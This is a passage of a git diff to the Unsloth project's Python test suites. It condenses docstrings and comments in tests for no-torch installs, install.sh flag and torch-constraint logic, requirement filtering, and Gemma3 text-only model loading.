-    without torch in an isolated venv."""
+    """Dataclass collators instantiate and constants are accessible without torch."""
 
     def test_speech_collator_instantiate(self, no_torch_venv):
         """DataCollatorSpeechSeq2SeqWithPadding(processor=None) succeeds."""
@@ -485,19 +443,14 @@ class TestDataclassInstantiation:
         assert result.returncode == 0, f"Failed:\n{result.stderr.decode()}"
 
 
-# ===========================================================================
-# Group 3: Edge Cases -- Partial/Broken Torch (4 tests)
-# ===========================================================================
+# Group 3: Edge Cases -- Partial/Broken Torch
 
 
 class TestEdgeCasesBrokenTorch:
-    """Test behavior with fake or broken torch modules on sys.path."""
+    """Behavior with fake or broken torch modules on sys.path."""
 
     def test_fake_broken_torch_module(self, no_torch_venv, sandbox_dir):
-        """A fake torch that raises RuntimeError('CUDA not found') on import.
-
-        data_collators.py (no top-level torch import) should still load fine.
-        """
+        """Fake torch raising RuntimeError on import: data_collators.py (no top-level torch) still loads."""
         torch_dir = sandbox_dir / "torch"
         torch_dir.mkdir()
         (torch_dir / "__init__.py").write_text(
@@ -519,7 +472,7 @@ class TestEdgeCasesBrokenTorch:
         assert b"OK:" in result.stdout
 
     def test_torch_import_error_hardware_fallback(self, no_torch_venv, sandbox_dir):
-        """A fake torch that raises ImportError. detect_hardware() falls back to CPU."""
+        """Fake torch raising ImportError: detect_hardware() falls back to CPU."""
         torch_dir = sandbox_dir / "torch"
         torch_dir.mkdir()
         (torch_dir / "__init__.py").write_text(
@@ -546,10 +499,7 @@ class TestEdgeCasesBrokenTorch:
         assert b"OK: detect_hardware returned CPU" in result.stdout
 
     def test_fake_torch_no_cuda(self, no_torch_venv, sandbox_dir):
-        """Fake torch that imports OK but torch.cuda.is_available() returns False.
-
-        detect_hardware() should still fall back to CPU.
-        """
+        """Fake torch imports OK but cuda.is_available() is False: detect_hardware() falls back to CPU."""
         torch_dir = sandbox_dir / "torch"
         torch_dir.mkdir()
         (torch_dir / "__init__.py").write_text(
@@ -582,12 +532,7 @@ class TestEdgeCasesBrokenTorch:
         assert b"OK:" in result.stdout
 
     def test_lazy_torch_fails_at_call_time_not_import_time(self, no_torch_venv, sandbox_dir):
-        """apply_chat_template_to_dataset is importable without torch.
-
-        Calling the alpaca branch triggers the lazy 'from torch.utils.data' inside
-        the try block. This should fail at call time, not import time -- proving the
-        lazy import pattern works correctly.
-        """
+        """apply_chat_template_to_dataset imports without torch; the lazy import fails at call time, not import time."""
         _write_loggers_stub(sandbox_dir)
 
         code = textwrap.dedent(f"""\
@@ -631,16 +576,14 @@ class TestEdgeCasesBrokenTorch:
         assert b"OK: import succeeded" in result.stdout
 
 
-# ===========================================================================
-# Group 4: Hardware Detection Without Torch (3 tests)
-# ===========================================================================
+# Group 4: Hardware Detection Without Torch
 
 
 class TestHardwareDetectionNoTorch:
     """Hardware module works without torch, falling back to CPU."""
 
     def test_detect_hardware_no_torch(self, no_torch_venv, sandbox_dir):
-        """detect_hardware() returns CPU device when torch is not installed."""
+        """detect_hardware() returns CPU when torch is not installed."""
         _write_loggers_stub(sandbox_dir)
         _write_structlog_stub(sandbox_dir)
 
@@ -680,7 +623,7 @@ class TestHardwareDetectionNoTorch:
         assert b"OK:" in result.stdout
 
     def test_hardware_module_import_no_torch(self, no_torch_venv, sandbox_dir):
-        """The hardware module imports and detect_hardware is callable without torch."""
+        """Hardware module imports and detect_hardware is callable without torch."""
         _write_loggers_stub(sandbox_dir)
         _write_structlog_stub(sandbox_dir)
         _write_hardware_stub(sandbox_dir)
@@ -707,13 +650,11 @@ class TestHardwareDetectionNoTorch:
         assert b"OK:" in result.stdout
 
 
-# ===========================================================================
-# Group 5: install.sh Logic (5 tests via bash subprocess)
-# ===========================================================================
+# Group 5: install.sh Logic (via bash subprocess)
 
 
 class TestInstallShLogic:
-    """Test install.sh flag parsing, platform detection, and guard logic."""
+    """install.sh flag parsing, platform detection, and guard logic."""
 
     @pytest.fixture(autouse = True)
     def _check_install_sh(self):
@@ -722,7 +663,6 @@ class TestInstallShLogic:
 
     def test_python_flag_parsing(self):
         """--python flag correctly sets _USER_PYTHON."""
-        # Extract flag parser snippet from install.sh and test it
         script = textwrap.dedent("""\
             _USER_PYTHON=""
             _next_is_python=false
@@ -738,9 +678,8 @@ class TestInstallShLogic:
             done
             echo "$_USER_PYTHON"
         """)
-        # Test: --python 3.12
+        # --python 3.12
         r = _run_sh(f"{script}" + "\n", timeout = 10)
-        # Need to pass args to the script
         r = subprocess.run(
             ["bash", "-c", script + "\n", "_", "--python", "3.12"],
             capture_output = True,
@@ -748,7 +687,7 @@ class TestInstallShLogic:
         )
         assert r.stdout.strip() == b"3.12"
 
-        # Test: --local --python 3.11
+        # --local --python 3.11
         r = subprocess.run(
             ["bash", "-c", script + "\n", "_", "--local", "--python", "3.11"],
             capture_output = True,
@@ -756,7 +695,7 @@ class TestInstallShLogic:
         )
         assert r.stdout.strip() == b"3.11"
 
-        # Test: no --python flag
+        # no --python flag
         r = subprocess.run(
             ["bash", "-c", script + "\n", "_", "--local"],
             capture_output = True,
@@ -766,7 +705,6 @@ class TestInstallShLogic:
 
     def test_python_flag_missing_arg_errors(self):
         """--python without a version argument triggers an error."""
-        # Extract the flag parser + error guard from install.sh
         script = textwrap.dedent("""\
             set -e
             _USER_PYTHON=""
@@ -819,7 +757,7 @@ class TestInstallShLogic:
         )
         assert r.stdout.strip() == b"3.12"
 
-        # Non-Intel, no override
+        # non-Intel, no override
         r = subprocess.run(
             ["bash", "-c", script + "\n", "_", "false", ""],
             capture_output = True,
@@ -865,7 +803,6 @@ class TestInstallShLogic:
 
     def test_stale_venv_guard_respects_override(self):
         """When _USER_PYTHON is set, the stale venv recreation guard is skipped."""
-        # The guard: if MAC_INTEL=true && -z _USER_PYTHON && venv exists ...
         script = textwrap.dedent("""\
             MAC_INTEL=true
             _USER_PYTHON="$1"
@@ -877,7 +814,7 @@ class TestInstallShLogic:
             fi
             echo "$SHOULD_RECREATE"
         """)
-        # With override: should NOT recreate
+        # with override: should NOT recreate
         r = subprocess.run(
             ["bash", "-c", script + "\n", "_", "3.11"],
             capture_output = True,
@@ -885,7 +822,7 @@ class TestInstallShLogic:
         )
         assert r.stdout.strip() == b"false"
 
-        # Without override: SHOULD recreate
+        # without override: SHOULD recreate
         r = subprocess.run(
             ["bash", "-c", script + "\n", "_", ""],
             capture_output = True,
@@ -894,13 +831,11 @@ class TestInstallShLogic:
         assert r.stdout.strip() == b"true"
 
 
-# ===========================================================================
-# Group 6: install_python_stack.py NO_TORCH Filtering (4 tests)
-# ===========================================================================
+# Group 6: install_python_stack.py NO_TORCH Filtering
 
 
 class TestInstallPythonStackFiltering:
-    """Test the NO_TORCH filtering logic in install_python_stack.py."""
+    """NO_TORCH filtering logic in install_python_stack.py."""
 
     @pytest.fixture(autouse = True)
     def _check_install_py(self):
@@ -956,7 +891,7 @@ class TestInstallPythonStackFiltering:
         ):
             assert ips._infer_no_torch() is True
 
-        # Explicit false on Intel Mac
+        # explicit false on Intel Mac
         with (
             mock.patch.dict(os.environ, {"UNSLOTH_NO_TORCH": "false"}),
             mock.patch.object(ips, "IS_MAC_INTEL", True),
@@ -978,7 +913,6 @@ class TestInstallPythonStackFiltering:
 
         source = Path(ips.__file__).read_text(encoding = "utf-8")
 
-        # NO_TORCH guard before overrides
         assert "if NO_TORCH:" in source, "NO_TORCH guard not found in install_python_stack.py"
 
         # macOS guard for triton
@@ -987,9 +921,7 @@ class TestInstallPythonStackFiltering:
         ), "'not IS_WINDOWS and not IS_MACOS' guard for triton not found"
 
 
-# ===========================================================================
-# Group 7: Live Server Startup (4 tests) -- Heavyweight
-# ===========================================================================
+# Group 7: Live Server Startup -- Heavyweight
 
 
 def _studio_venv_python() -> Path | None:
@@ -1013,14 +945,7 @@ server = pytest.mark.server
 
 @server
 class TestLiveServerStartup:
-    """Live server startup tests.
-
-    These use the existing Studio venv at ~/.unsloth/studio/unsloth_studio.
-    They temporarily ensure torch is not importable, test server startup,
-    then leave the venv unchanged.
-
-    Run separately: pytest -m server
-    """
+    """Live server startup against the existing Studio venv with torch made unimportable (pytest -m server)."""
 
     @pytest.fixture(autouse = True)
     def _check_studio_venv(self):
@@ -1038,7 +963,6 @@ class TestLiveServerStartup:
         port = _server_port()
         backend_dir = BACKEND_DIR
 
-        # Check if torch is installed in the studio venv
         check = subprocess.run(
             [str(py), "-c", "import torch; print(torch.__version__)"],
             capture_output = True,
@@ -1046,7 +970,6 @@ class TestLiveServerStartup:
         torch_was_installed = check.returncode == 0
         torch_version = check.stdout.decode().strip() if torch_was_installed else None
 
-        # Uninstall torch if present
         if torch_was_installed:
             subprocess.run(
                 [
@@ -1063,7 +986,6 @@ class TestLiveServerStartup:
                 timeout = 120,
             )
 
-        # Start server
         env = os.environ.copy()
         env["PYTHONPATH"] = str(backend_dir)
         proc = subprocess.Popen(
@@ -1091,7 +1013,6 @@ class TestLiveServerStartup:
 
         if not ready:
             stdout, stderr = proc.communicate(timeout = 5)
-            # Reinstall torch + torchvision + torchaudio
             if torch_was_installed and torch_version:
                 subprocess.run(
                     [
@@ -1189,7 +1110,7 @@ class TestLiveServerStartup:
             try:
                 urllib.request.urlopen(f"http://127.0.0.1:{port}{ep}", timeout = 5)
             except urllib.error.HTTPError:
-                pass  # 4xx/5xx is fine -- server didn't crash
+                pass  # 4xx/5xx fine -- server didn't crash
             except urllib.error.URLError:
                 pytest.fail(f"Server stopped responding at {ep}")
 
diff --git a/tests/python/test_fast_language_model_text_only.py b/tests/python/test_fast_language_model_text_only.py
index ce4dd74439..fcdeb49bc3 100644
--- a/tests/python/test_fast_language_model_text_only.py
+++ b/tests/python/test_fast_language_model_text_only.py
@@ -63,7 +63,7 @@ def _param_default(method, name):
 
 
 def _load_text_only_namespace():
-    # Exec the text-only helpers from _utils into one namespace (no unsloth import),
+    # Exec the _utils text-only helpers into one namespace (no unsloth import),
     # in dependency order so cross-references resolve.
     source = _source(UTILS_PATH)
     import transformers
@@ -123,8 +123,7 @@ def test_fast_language_model_forwards_text_only_to_fast_model():
     source = _source(LOADER_PATH)
     method = _class_method(ast.parse(source), "FastLanguageModel", "from_pretrained")
 
-    # text_only defaults False (opt-in, not forced True), and both FastModel
-    # delegations forward it.
+    # text_only defaults False (opt-in); both FastModel delegations forward it.
     text_only_default = _param_default(method, "text_only")
     assert isinstance(text_only_default, ast.Constant) and text_only_default.value is False
 
@@ -206,22 +205,14 @@ def test_fast_base_model_text_only_bypasses_vision_auto_model():
 
 
 def test_gemma3_text_only_model_class_resolves_and_has_no_vision_tower():
-    """Tiny end-to-end: build a Gemma3 text-only config, instantiate the
-    matching model class with shrunken hidden sizes, assert it has the
-    text language model attributes and no vision tower attribute.
-
-    This is the integration check the AST-only tests were missing -- it
-    proves the text-only routing actually produces a model that can be
-    instantiated and that the resulting model is purely text. We use
-    shrunken hidden sizes so the test is fast and CPU-only.
-    """
+    """End-to-end: a tiny Gemma3 text-only model instantiates with text LM attrs and no vision tower."""
     transformers = pytest.importorskip("transformers")
     helper = _load_text_only_helper()
 
     full_config = transformers.Gemma3Config()
     text_config = helper(full_config, "google/gemma-3-27b-it")
 
-    # Shrink for a cheap CPU instantiation; keep the shape attrs read at construction.
+    # Shrink for cheap CPU instantiation.
     text_config.num_hidden_layers = 1
     text_config.hidden_size = 32
     text_config.intermediate_size = 32
@@ -233,10 +224,9 @@ def test_gemma3_text_only_model_class_resolves_and_has_no_vision_tower():
     model_class = transformers.AutoModelForCausalLM._model_mapping[type(text_config)]
     model = model_class(text_config)
 
-    # Positive checks: text language model surface is present.
     assert hasattr(model, "lm_head"), "text-only Gemma3 model should expose lm_head"
 
-    # Negative checks: no vision tower / multimodal projector remains.
+    # No vision tower / multimodal projector remains.
     assert not hasattr(
         model, "vision_tower"
     ), "text-only Gemma3 model should not have a vision_tower"
@@ -246,7 +236,7 @@ def test_gemma3_text_only_model_class_resolves_and_has_no_vision_tower():
 
 
 def test_helper_defined_once_in_utils_and_imported():
-    # _get_text_only_config is defined only in _utils and imported by loader + vision.
+    # _get_text_only_config defined only in _utils, imported by loader + vision.
     def _defines(path):
         return any(
             isinstance(n, ast.FunctionDef) and n.name == "_get_text_only_config"
@@ -274,7 +264,7 @@ def _load_util_func(name):
 
 
 def test_text_only_guard_predicate_across_vlm_families():
-    # Text-only is taken only when the resolved class remaps VLM weights.
+    # Text-only taken only when the resolved class remaps VLM weights.
     transformers = pytest.importorskip("transformers")
     from transformers import AutoModelForCausalLM
 
@@ -309,7 +299,7 @@ def test_text_only_guard_predicate_across_vlm_families():
 
 
 def test_text_only_helper_preserves_quantization_config():
-    # quantization_config must survive the strip so pre-quantized repos still load. A
+    # quantization_config must survive the strip so pre-quantized repos load. A
     # sentinel object avoids a bitsandbytes dependency on transformers 4.51.3.
     transformers = pytest.importorskip("transformers")
     helper = _load_text_only_helper()
@@ -318,13 +308,13 @@ def test_text_only_helper_preserves_quantization_config():
     config.quantization_config = sentinel
     text_config = helper(config, "google/gemma-3-27b-it")
     assert getattr(text_config, "quantization_config", None) is sentinel
-    # The parent's shared text sub-config must not be mutated by the carry-over.
+    # The parent's shared text sub-config must not be mutated.
     assert getattr(config.get_text_config(), "quantization_config", None) is None
 
 
 def test_text_only_key_mapping_targets_published_prefixes():
-    # The mapping must remap the published VLM decoder prefixes and only apply on
-    # transformers >=5 (on 4.x base_model_prefix handles it and a mapping hurts).
+    # Remap the published VLM decoder prefixes, applying only on transformers >=5
+    # (on 4.x base_model_prefix handles it and a mapping hurts).
     transformers = pytest.importorskip("transformers")
     get_key_mapping = _load_util_func("_get_text_only_key_mapping")
     mapping = get_key_mapping(transformers.Gemma3Config(), transformers.Gemma3TextConfig())
@@ -338,8 +328,8 @@ def test_text_only_key_mapping_targets_published_prefixes():
 
 
 def test_gemma3_text_only_loads_real_language_weights_from_vlm_checkpoint(tmp_path):
-    # Regression for PR #5816: text-only loading of a Gemma 3 VLM checkpoint must load the
-    # real language weights, not random ones. Fails on tf >=5 without the key_mapping fix.
+    # PR #5816: text-only loading of a Gemma 3 VLM checkpoint must load real
+    # language weights, not random ones. Fails on tf >=5 without the key_mapping fix.
     transformers = pytest.importorskip("transformers")
     torch = pytest.importorskip("torch")
     import shutil
@@ -391,7 +381,7 @@ def test_gemma3_text_only_loads_real_language_weights_from_vlm_checkpoint(tmp_pa
     save_dir = tmp_path / "vlm"
     full_model.save_pretrained(save_dir, safe_serialization = True)
 
-    # tf >=5 saves under an outer "model." prefix; strip it to reproduce the real
+    # tf >=5 saves under an outer "model." prefix; strip it to reproduce the
     # language_model.model.* layout the published Gemma 3 checkpoints use.
     real_dir = tmp_path / "real"
     real_dir.mkdir()
diff --git a/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py b/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py
index 6fa7d06ec3..2e12a43228 100644
--- a/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py
+++ b/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py
@@ -1,10 +1,7 @@
-"""FastSentenceTransformer constructor-redirect lifecycle:
-- AutoModel/AutoProcessor/AutoTokenizer.from_pretrained are restored even
-  when the Transformer constructor raises (try/finally invariant).
-- The closure that decides whether to substitute the pre-loaded objects
-  (`is_requested_model_name`) handles HF repo IDs, local paths, trailing
-  slashes, pathlib.Path objects, and missing identifiers correctly.
-"""
+"""FastSentenceTransformer constructor-redirect lifecycle: Auto*.from_pretrained
+are restored even when the Transformer constructor raises (try/finally), and
+`is_requested_model_name` matches HF IDs, local paths, trailing slashes, Path
+objects, and missing identifiers."""
 
 from __future__ import annotations
 
@@ -18,8 +15,7 @@ import pytest
 
 
 def _stub_module(name: str) -> types.ModuleType:
-    # __spec__ set so find_spec(name) doesn't raise if a later test imports
-    # the real package.
+    # __spec__ set so find_spec(name) doesn't raise if a later test imports the real package.
     mod = types.ModuleType(name)
     mod.__spec__ = importlib.util.spec_from_loader(name, loader = None)
     return mod
@@ -34,9 +30,8 @@ _STUB_KEYS = (
 
 @pytest.fixture(autouse = True)
 def _restore_sys_modules():
-    """Snapshot the entries we shadow with stubs and restore them after each
-    test so a downstream test that does `import transformers` for real does
-    not pick up our non-package stub."""
+    """Snapshot the stubbed module entries and restore them after each test so a
+    downstream real `import transformers` doesn't pick up our stub."""
     saved = {k: sys.modules.get(k) for k in _STUB_KEYS}
     try:
         yield
diff --git a/tests/python/test_install_python_stack.py b/tests/python/test_install_python_stack.py
index 64373cb4b8..f1a090eac9 100644
--- a/tests/python/test_install_python_stack.py
+++ b/tests/python/test_install_python_stack.py
@@ -10,11 +10,9 @@ from unittest import mock
 
 import pytest
 
-# Add the studio directory so we can import install_python_stack.
 STUDIO_DIR = Path(__file__).resolve().parents[2] / "studio"
 sys.path.insert(0, str(STUDIO_DIR))
 
-# Import after path setup.
 import install_python_stack as ips
 
 
diff --git a/tests/python/test_no_torch_filtering.py b/tests/python/test_no_torch_filtering.py
index 22cf04a513..9dcda5c60c 100644
--- a/tests/python/test_no_torch_filtering.py
+++ b/tests/python/test_no_torch_filtering.py
@@ -1,12 +1,4 @@
-"""Tests for install_python_stack NO_TORCH / IS_MACOS filtering logic.
-
-Covers:
-- _filter_requirements unit tests (synthetic + REAL requirements files)
-- NO_TORCH / IS_MACOS / IS_WINDOWS env var parsing
-- Subprocess-mock of install_python_stack() to verify overrides/triton/filtering
-  actually happen (or get skipped) under each platform/config combination
-- VCS URL and environment marker edge cases in filtering
-"""
+"""Tests for install_python_stack NO_TORCH / IS_MACOS requirement filtering."""
 
 from __future__ import annotations
 
@@ -21,7 +13,7 @@ from unittest import mock
 
 import pytest
 
-# Add the studio directory so we can import install_python_stack
+# Add the studio directory so install_python_stack is importable.
 STUDIO_DIR = Path(__file__).resolve().parents[2] / "studio"
 sys.path.insert(0, str(STUDIO_DIR))
 
@@ -59,7 +51,6 @@ class TestFilterRequirements:
         )
         result = ips._filter_requirements(req, ips.NO_TORCH_SKIP_PACKAGES)
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
-        # Only numpy should remain (non-blank lines)
         non_blank = [l.strip() for l in lines if l.strip()]
         assert non_blank == ["numpy"], f"Expected only numpy, got: {non_blank}"
 
@@ -80,7 +71,7 @@ class TestFilterRequirements:
         result = ips._filter_requirements(req, ips.NO_TORCH_SKIP_PACKAGES)
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
         non_blank = [l.strip() for l in lines if l.strip()]
-        # Comment starts with "#", not "torch-stoi", so it's preserved
+        # Comment lines start with "#", so they are preserved.
         assert len(non_blank) == 2
         assert non_blank[0].startswith("#")
         assert non_blank[1] == "numpy"
@@ -139,7 +130,7 @@ class TestFilterRequirements:
         )
         result = ips._filter_requirements(req, ips.NO_TORCH_SKIP_PACKAGES)
         content = Path(result).read_text(encoding = "utf-8")
-        # Blank lines should be preserved (not stripped)
+        # Blank lines must be preserved.
         assert "\n\n" in content or content.count("\n") >= 3
 
     def test_stacked_windows_and_no_torch_filters(self, tmp_path):
@@ -154,7 +145,7 @@ class TestFilterRequirements:
             numpy
         """,
         )
-        # First filter Windows packages, then NO_TORCH packages
+        # Filter Windows packages, then NO_TORCH packages.
         intermediate = ips._filter_requirements(req, ips.WINDOWS_SKIP_PACKAGES)
         result = ips._filter_requirements(Path(intermediate), ips.NO_TORCH_SKIP_PACKAGES)
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
@@ -203,7 +194,7 @@ class TestFilterRequirements:
         result = ips._filter_requirements(req, ips.NO_TORCH_SKIP_PACKAGES)
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
         non_blank = [l.strip() for l in lines if l.strip()]
-        # The git+ URL doesn't start with any skip package, so it is preserved
+        # git+ URL starts with no skip package, so it is preserved.
         assert len(non_blank) == 2, f"git+ URL should be preserved, got: {non_blank}"
 
 
@@ -231,13 +222,13 @@ class TestRealRequirementsFiltering:
         filtered = self._non_blank_non_comment(Path(result))
         original = self._non_blank_non_comment(EXTRAS_TXT)
 
-        # These must be gone
+        # These must be gone.
         for pkg in ["torch-stoi", "timm", "openai-whisper", "transformers-cfg"]:
             assert not any(
                 l.lower().startswith(pkg) for l in filtered
             ), f"{pkg} should be removed from extras.txt"
 
-        # Everything else must remain
+        # Everything else must remain.
         expected = [
             l
             for l in original
@@ -364,9 +355,7 @@ class TestIsMacosConstant:
 
 
 class TestInstallPythonStackSubprocessMock:
-    """Monkeypatch subprocess.run to capture all pip/uv commands,
-    then verify which requirements files are used/skipped under
-    different NO_TORCH / IS_MACOS / IS_WINDOWS configurations."""
+    """Mock subprocess.run to verify which req files are used/skipped per config."""
 
     @pytest.fixture(autouse = True)
     def _check_req_files(self):
@@ -383,10 +372,7 @@ class TestInstallPythonStackSubprocessMock:
         *,
         skip_base: bool = True,
     ):
-        """Run install_python_stack() with mocked subprocess, capturing all commands.
-
-        Returns a list of string-joined commands (each element is ' '.join(cmd)).
-        """
+        """Run install_python_stack() with mocked subprocess; return joined commands."""
         captured_cmds: list[list[str]] = []
 
         def mock_run(cmd, **kw):
@@ -471,11 +457,7 @@ class TestInstallPythonStackSubprocessMock:
     # -- Normal Linux path (NO_TORCH=False, IS_MACOS=False, IS_WINDOWS=False) --
 
     def test_normal_linux_includes_overrides(self):
-        """Normal Linux: the torchao override step IS called.
-
-        The override step installs a torch-matched torchao spec via
-        --force-reinstall (uv: --reinstall), not overrides.txt directly.
-        """
+        """Normal Linux: torchao override step runs (via --reinstall, not overrides.txt)."""
         cmds = self._capture_install(no_torch = False, is_macos = False, is_windows = False)
         assert any(
             "--reinstall" in cmd for cmd in cmds
@@ -512,12 +494,7 @@ class TestInstallPythonStackSubprocessMock:
         ), "triton-kernels.txt should be skipped on Windows even without NO_TORCH"
 
     def test_windows_only_includes_overrides(self):
-        """Windows (without NO_TORCH): overrides IS called (via filtered temp file).
-
-        On Windows, all req files go through _filter_requirements(WINDOWS_SKIP_PACKAGES),
-        so the command uses a temp file, not overrides.txt directly. We check for
-        --reinstall (uv translation of --force-reinstall) which is unique to overrides.
-        """
+        """Windows (no NO_TORCH): overrides runs via filtered temp file (check --reinstall)."""
         cmds = self._capture_install(no_torch = False, is_macos = False, is_windows = True)
         assert any(
             "--reinstall" in cmd for cmd in cmds
diff --git a/tests/python/test_orpo_processor_text_tokenizer.py b/tests/python/test_orpo_processor_text_tokenizer.py
index 9ae205c6b9..b507a9e808 100644
--- a/tests/python/test_orpo_processor_text_tokenizer.py
+++ b/tests/python/test_orpo_processor_text_tokenizer.py
@@ -13,8 +13,7 @@ def _load_orpo_rewriter(name = "orpo_trainer_text_tokenizer"):
     src = open(RL_PATH).read()
     tree = ast.parse(src)
     ns = {"re": re}
-    # Materialise sibling module-level assignments (e.g. _PAD_FALLBACK) so
-    # any rewriter that references them at exec-time can resolve them.
+    # Materialise sibling module-level _-prefixed assignments the rewriter may reference.
     for node in tree.body:
         if isinstance(node, ast.Assign):
             for target in node.targets:
diff --git a/tests/python/test_patch_trl_rl_trainers_defensive.py b/tests/python/test_patch_trl_rl_trainers_defensive.py
index 55a3425c44..e5d6328031 100644
--- a/tests/python/test_patch_trl_rl_trainers_defensive.py
+++ b/tests/python/test_patch_trl_rl_trainers_defensive.py
@@ -1,12 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Regression tests: _patch_trl_rl_trainers must never raise.
-
-The wrapper in unsloth/models/rl.py ring-fences the impl so direct
-callers (CI shims, downstream tools) don't have to. Lock that
-contract here.
-"""
+"""Regression: _patch_trl_rl_trainers (the ring-fencing wrapper in
+unsloth/models/rl.py) must never raise."""
 
 from __future__ import annotations
 
@@ -39,7 +35,7 @@ def test_patch_trl_rl_trainers_swallows_garbage_input():
 
 
 def test_impl_is_separately_exposed():
-    # Power users can still call the impl directly for the raising path.
+    # The impl stays directly callable for the raising path.
     _wrapper, impl = _import_helpers()
     assert callable(impl)
 
diff --git a/tests/python/test_studio_import_no_torch.py b/tests/python/test_studio_import_no_torch.py
index 7b7a7103d2..86dc8581ab 100644
--- a/tests/python/test_studio_import_no_torch.py
+++ b/tests/python/test_studio_import_no_torch.py
@@ -1,13 +1,4 @@
-"""End-to-end sandbox tests: Studio modules in isolated no-torch venvs.
-
-Covers:
-- Python 3.12 and 3.13 venv creation (Intel Mac uses 3.12, Apple Silicon/Linux 3.13)
-- data_collators.py loads and dataclasses instantiate without torch
-- chat_templates.py top-level exec works with stubs for relative imports
-- Negative control: prepending 'import torch' fails in no-torch venv
-- Negative control: installing torchao (from overrides.txt) fails in no-torch venv
-- AST structural checks for top-level torch imports
-"""
+"""Sandbox tests: Studio dataset modules load/run in isolated no-torch venvs."""
 
 from __future__ import annotations
 
@@ -48,10 +39,7 @@ def _create_venv(venv_dir: Path, python_version: str) -> Path | None:
 
 @pytest.fixture(params = ["3.12", "3.13"], scope = "module")
 def no_torch_venv(request, tmp_path_factory):
-    """Create a temporary venv at the requested Python version with no torch.
-
-    Parametrized for 3.12 (Intel Mac) and 3.13 (Apple Silicon / Linux).
-    """
+    """Temp no-torch venv, parametrized for 3.12 (Intel Mac) and 3.13 (Apple Silicon / Linux)."""
     if not _has_uv():
         pytest.skip("uv not available")
 
@@ -353,7 +341,7 @@ class TestFormatConversionAST:
                         and child.module
                         and child.module.startswith("torch")
                     ):
-                        # This torch import must be inside a Try node
+                        # This torch import must be inside a Try node.
                         found_in_try = False
                         for try_node in ast.walk(node):
                             if isinstance(try_node, ast.Try):
@@ -524,10 +512,7 @@ class TestNegativeControls:
             os.unlink(temp_file)
 
     def test_torchao_install_fails_no_torch_venv(self, no_torch_venv):
-        """Installing torchao (from overrides.txt) fails in a no-torch venv.
-
-        This proves the overrides.txt skip is necessary for Intel Mac.
-        """
+        """torchao install fails in a no-torch venv: proves the overrides.txt skip is needed."""
         result = subprocess.run(
             [
                 no_torch_venv,
@@ -541,10 +526,10 @@ class TestNegativeControls:
             timeout = 60,
         )
         if result.returncode != 0:
-            # torchao install/resolution failed as expected
+            # torchao install/resolution failed as expected.
             pass
         else:
-            # pip dry-run may not catch dependency issues; verify torch is missing
+            # dry-run may miss dep issues; verify torch is absent instead.
             check = subprocess.run(
                 [no_torch_venv, "-c", "import torch"],
                 capture_output = True,
diff --git a/tests/python/test_tokenizers_and_torch_constraint.py b/tests/python/test_tokenizers_and_torch_constraint.py
index 40924efca2..7390d7be9b 100644
--- a/tests/python/test_tokenizers_and_torch_constraint.py
+++ b/tests/python/test_tokenizers_and_torch_constraint.py
@@ -1,7 +1,4 @@
-"""Tests for two install fixes:
-1. tokenizers in no-torch-runtime.txt (prevents AutoConfig crash)
-2. TORCH_CONSTRAINT in install.sh (arm64 macOS + py313+ -> torch>=2.6)
-"""
+"""Install fixes: tokenizers in no-torch-runtime.txt, and TORCH_CONSTRAINT in install.sh."""
 
 from __future__ import annotations
 
@@ -12,7 +9,7 @@ import textwrap
 
 import pytest
 
-# ── Locate source files relative to this test ──────────────────────────
+# Locate source files relative to this test.
 _TESTS_DIR = pathlib.Path(__file__).resolve().parent.parent  # tests/
 _REPO_ROOT = _TESTS_DIR.parent  # unsloth/
 _INSTALL_SH = _REPO_ROOT / "install.sh"
@@ -33,9 +30,7 @@ def _lines(path: pathlib.Path) -> list[str]:
     ]
 
 
-# ======================================================================
 # Group 1 -- Structural checks (no network, instant)
-# ======================================================================
 class TestStructuralTokenizers:
     """Verify tokenizers presence and ordering in no-torch-runtime.txt."""
 
@@ -114,15 +109,11 @@ class TestStructuralInstallPs1Unchanged:
         assert '"torch>=2.4,<2.11.0"' in self._ps1
 
 
-# ======================================================================
 # Group 2 -- Shell snippet tests (bash subprocess, mocked python)
-# ======================================================================
 class TestTorchConstraintShell:
-    """Test the TORCH_CONSTRAINT block using bash subprocesses with
-    mocked python binaries that return controlled minor versions."""
+    """Test the TORCH_CONSTRAINT block via bash with mocked python minor versions."""
 
-    # The extracted snippet we test in isolation.  We override OS, _ARCH,
-    # SKIP_TORCH, and provide a mock python at $VENV_DIR/bin/python.
+    # Snippet tested in isolation: override OS/_ARCH/SKIP_TORCH and a mock python.
     _SNIPPET_TEMPLATE = textwrap.dedent(r"""
         #!/bin/bash
         set -e
@@ -191,8 +182,6 @@ class TestTorchConstraintShell:
         assert result.returncode == 0, f"Script failed: {result.stderr}"
         return result.stdout.strip()
 
-    # -- arm64 macOS tightening cases --
-
     def test_arm64_macos_py313_tightened(self, tmp_path):
         out = self._run(tmp_path, py_minor = 13, os_val = "macos", arch = "arm64")
         assert out == "torch>=2.6,<2.11.0"
@@ -201,8 +190,6 @@ class TestTorchConstraintShell:
         out = self._run(tmp_path, py_minor = 14, os_val = "macos", arch = "arm64")
         assert out == "torch>=2.6,<2.11.0"
 
-    # -- arm64 macOS default (older python) --
-
     def test_arm64_macos_py312_default(self, tmp_path):
         out = self._run(tmp_path, py_minor = 12, os_val = "macos", arch = "arm64")
         assert out == "torch>=2.4,<2.11.0"
@@ -211,8 +198,7 @@ class TestTorchConstraintShell:
         out = self._run(tmp_path, py_minor = 11, os_val = "macos", arch = "arm64")
         assert out == "torch>=2.4,<2.11.0"
 
-    # -- Linux (unaffected) --
-
+    # Linux is unaffected by the tightening.
     def test_linux_x86_py313_default(self, tmp_path):
         out = self._run(tmp_path, py_minor = 13, os_val = "linux", arch = "x86_64")
         assert out == "torch>=2.4,<2.11.0"
@@ -221,14 +207,12 @@ class TestTorchConstraintShell:
         out = self._run(tmp_path, py_minor = 13, os_val = "linux", arch = "aarch64")
         assert out == "torch>=2.4,<2.11.0"
 
-    # -- Intel Mac (arch mismatch) --
-
+    # Intel Mac: arch mismatch, no tightening.
     def test_intel_mac_x86_py313_default(self, tmp_path):
